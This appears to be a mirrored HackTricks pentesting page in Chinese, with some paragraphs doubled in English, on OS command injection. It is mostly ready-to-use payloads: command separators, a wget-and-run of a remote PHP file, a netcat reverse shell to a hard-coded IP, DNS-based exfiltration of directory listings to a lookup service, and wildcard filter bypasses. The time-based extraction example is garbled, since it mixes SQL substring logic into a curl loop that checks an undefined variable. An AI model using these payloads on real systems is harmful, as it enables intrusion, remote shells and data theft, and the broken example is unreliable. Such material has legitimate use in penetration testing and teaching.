mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
204 lines
10 KiB
Markdown
204 lines
10 KiB
Markdown
# 命令注入
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进的**社区工具。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## 什么是命令注入?
|
||
|
||
操作系统命令注入(也称为shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,并通常完全破坏应用程序及其所有数据。(来自[这里](https://portswigger.net/web-security/os-command-injection))。
|
||
|
||
### 上下文
|
||
|
||
根据**你的输入被注入的位置**,你可能需要在命令之前**终止引用的上下文**(使用`"`或`'`)。
|
||
|
||
## 命令注入/执行
|
||
```bash
|
||
#Both Unix and Windows supported
|
||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||
ls %0A id # %0A Execute both (RECOMMENDED)
|
||
|
||
#Only unix supported
|
||
`ls` # ``
|
||
$(ls) # $()
|
||
ls; id # ; Chain commands
|
||
ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||
|
||
#Not executed but may be interesting
|
||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||
< /etc/passwd #Try to send some input to the command
|
||
```
|
||
### **限制绕过**
|
||
|
||
如果你想在Linux机器上执行任意命令,你会对以下绕过方法感兴趣:
|
||
|
||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **示例**
|
||
```
|
||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||
```
|
||
### 参数
|
||
|
||
以下是可能容易受到代码注入和类似远程命令执行(RCE)漏洞攻击的前25个参数(来自[链接](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||
```
|
||
?cmd={payload}
|
||
?exec={payload}
|
||
?command={payload}
|
||
?execute{payload}
|
||
?ping={payload}
|
||
?query={payload}
|
||
?jump={payload}
|
||
?code={payload}
|
||
?reg={payload}
|
||
?do={payload}
|
||
?func={payload}
|
||
?arg={payload}
|
||
?option={payload}
|
||
?load={payload}
|
||
?process={payload}
|
||
?step={payload}
|
||
?read={payload}
|
||
?function={payload}
|
||
?req={payload}
|
||
?feature={payload}
|
||
?exe={payload}
|
||
?module={payload}
|
||
?payload={payload}
|
||
?run={payload}
|
||
?print={payload}
|
||
```
|
||
### 基于时间的数据泄露
|
||
|
||
逐个字符提取数据
|
||
|
||
```bash
|
||
# Extracting data: char by char
|
||
# 提取数据:逐个字符
|
||
```
|
||
|
||
In some cases, command injection vulnerabilities may allow an attacker to extract sensitive data from a target system. One technique for extracting data is to do it character by character, using time delays to determine the value of each character.
|
||
|
||
在某些情况下,命令注入漏洞可能允许攻击者从目标系统中提取敏感数据。一种提取数据的技术是逐个字符进行,使用时间延迟来确定每个字符的值。
|
||
|
||
The idea behind this technique is to inject a command that will cause a time delay if a certain condition is met. By injecting a command that iterates through all possible characters and checking the response time, an attacker can determine the value of each character in the target data.
|
||
|
||
这种技术的思想是注入一个命令,如果满足某个条件,就会导致时间延迟。通过注入一个遍历所有可能字符并检查响应时间的命令,攻击者可以确定目标数据中每个字符的值。
|
||
|
||
Here is an example of how this technique can be used to extract data character by character:
|
||
|
||
以下是使用这种技术逐个字符提取数据的示例:
|
||
|
||
```bash
|
||
# Extracting data character by character
|
||
# 逐个字符提取数据
|
||
for i in {1..20}; do
|
||
for c in {a..z} {A..Z} {0..9} _; do
|
||
response=$(curl -s "http://example.com/?input=$(echo -n "SELECT column FROM table WHERE condition AND SUBSTRING(data,$i,1)='$c'" | base64)")
|
||
if [ $response_time > 2 ]; then
|
||
echo -n $c
|
||
break
|
||
fi
|
||
done
|
||
done
|
||
```
|
||
|
||
In this example, the attacker is injecting a command that iterates through all possible characters (lowercase letters, uppercase letters, numbers, and underscore) and checks the response time for each character. If the response time is greater than 2 seconds, it means that the injected character is correct and is part of the target data. The attacker then moves on to the next character.
|
||
|
||
在这个示例中,攻击者注入了一个命令,该命令遍历所有可能的字符(小写字母、大写字母、数字和下划线),并检查每个字符的响应时间。如果响应时间大于2秒,表示注入的字符是正确的,并且是目标数据的一部分。然后,攻击者继续下一个字符。
|
||
|
||
By repeating this process for each character in the target data, the attacker can gradually extract the entire data set.
|
||
|
||
通过对目标数据中的每个字符重复此过程,攻击者可以逐步提取整个数据集。
|
||
```
|
||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||
real 0m5.007s
|
||
user 0m0.000s
|
||
sys 0m0.000s
|
||
|
||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||
real 0m0.002s
|
||
user 0m0.000s
|
||
sys 0m0.000s
|
||
```
|
||
### 基于DNS的数据泄露
|
||
|
||
基于`https://github.com/HoLyVieR/dnsbin`上的工具,也托管在dnsbin.zhack.ca上。
|
||
```
|
||
1. Go to http://dnsbin.zhack.ca/
|
||
2. Execute a simple 'ls'
|
||
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||
```
|
||
|
||
```
|
||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||
```
|
||
在线工具检查基于DNS的数据泄露:
|
||
|
||
* dnsbin.zhack.ca
|
||
* pingb.in
|
||
|
||
### 绕过过滤
|
||
|
||
#### Windows
|
||
```
|
||
powershell C:**2\n??e*d.*? # notepad
|
||
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||
```
|
||
#### Linux
|
||
|
||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Brute-Force Detection List
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||
|
||
## References
|
||
|
||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
|
||
|
||
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具驱动。\
|
||
立即获取访问权限:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|